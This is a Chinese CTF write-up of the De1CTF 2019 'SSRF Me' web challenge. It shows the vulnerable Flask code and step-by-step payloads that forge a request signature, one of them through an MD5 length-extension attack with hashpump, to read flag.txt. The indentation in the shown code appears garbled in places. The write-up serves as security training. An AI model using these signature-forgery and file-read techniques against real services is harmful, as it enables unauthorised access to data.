> For the complete documentation index, see [llms.txt](https://writeup.owo.show/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeup.owo.show/de1ctf-2019.md).

# De1CTF 2019

## Web

### SSRF Me

```python
from flask import Flask 
from flask import request 
import socket 
import hashlib 
import urllib 
import sys 
import os 
import json 
reload(sys) 
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)


class Task: 
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
            os.mkdir(self.sandbox)
            
    def Exec(self): 
        result = {} 
        result['code'] = 500
        if (self.checkSign()): 
            if "scan" in self.action: 
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"): 
                    result['data'] = resp 
                else: 
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action: 
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
                if result['code'] == 500:
                    result['data'] = "Action Error"
                else: 
                    result['code'] = 500
                    result['msg'] = "Sign Error"
                return result
            
    def checkSign(self): 
        if (getSign(self.action, self.param) == self.sign): 
            return True 
        else: 
            return False #generate Sign For Action Scan. 
        

@app.route("/geneSign", methods=['GET', 'POST']) 
def geneSign(): 
    param = urllib.unquote(request.args.get("param", "")) # 将 param 的参数解码为原始的字符串形式，若为空则为空字符串
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST']) 
def challenge(): 
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/') 
def index(): 
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try: 
        return urllib.urlopen(param).read()[:50] # 只返回URL内容的前50个字符
    except: 
        return "Connection Timeout" 

def getSign(action, param): 
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content): 
    return hashlib.md5(content).hexdigest()

def waf(param): 
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True 
    else: 
        return False 
    
if __name__ == '__main__': 
    app.debug = False
    app.run(host='0.0.0.0',port=80)
```

可以获得一个 Hint `flag is in ./flag.txt` ，目标就是要通过上述代码中的 Task::Exec 将 `flag.txt` 写入 `result.txt` 再读取 `result.txt` 获得 flag 。由于判断语句是通过 in 关键字来判断的，因此如果 `self.action` 中既有 read 也有 scan 即可同时执行。

首先需要通过 `checkSign()` ，先利用 `getSign()` 生成 Sign 可以得到 `md5(secert_key + param + action)` 。通过构造 Payload 如下

```
/geneSign?param=flag.txtread
```

即可得到 action 为 `readscan` 的 Sign ，如下

```
278aeedb3970f05c3fef9a85aaf08244
```

然后构造 Payload 如下来使得 `flag.txt` 写入 `result.txt` 再读取 `result.txt` 。

```
[GET]param=flag.txt
[Cookie]action=readscan;sign=278aeedb3970f05c3fef9a85aaf08244
```

就可以得到 flag 了，也可以通过 MD5 长度拓展攻击解决这道题，先获取 `md5(secert_key + flag.txt + scan)` 的值，构造 Payload 如下

```
/geneSign?param=flag.txt
```

可以得到回显如下

```
a62c5d4965f4123788ba12dceef01014
```

通过 `secert_key = os.urandom(16)` 可知 secert\_key 长 16 位，通过 hashpump 进行生成 Payload，如下

```shell
$ hashpump
Input Signature: a62c5d4965f4123788ba12dceef01014
Input Data: scan
Input Key Length: 24
Input Data to Add: read
c151ad5274e2e828bc2eb58f76e2a506
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
```

就可以求出 `md5(secert_key + flag.txt + scan + padding + read)` 的值，通过构造 Payload 如下

```
[GET]param=flag.txt
[Cookie]sign=c151ad5274e2e828bc2eb58f76e2a506;action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read
```

即可得到 flag。
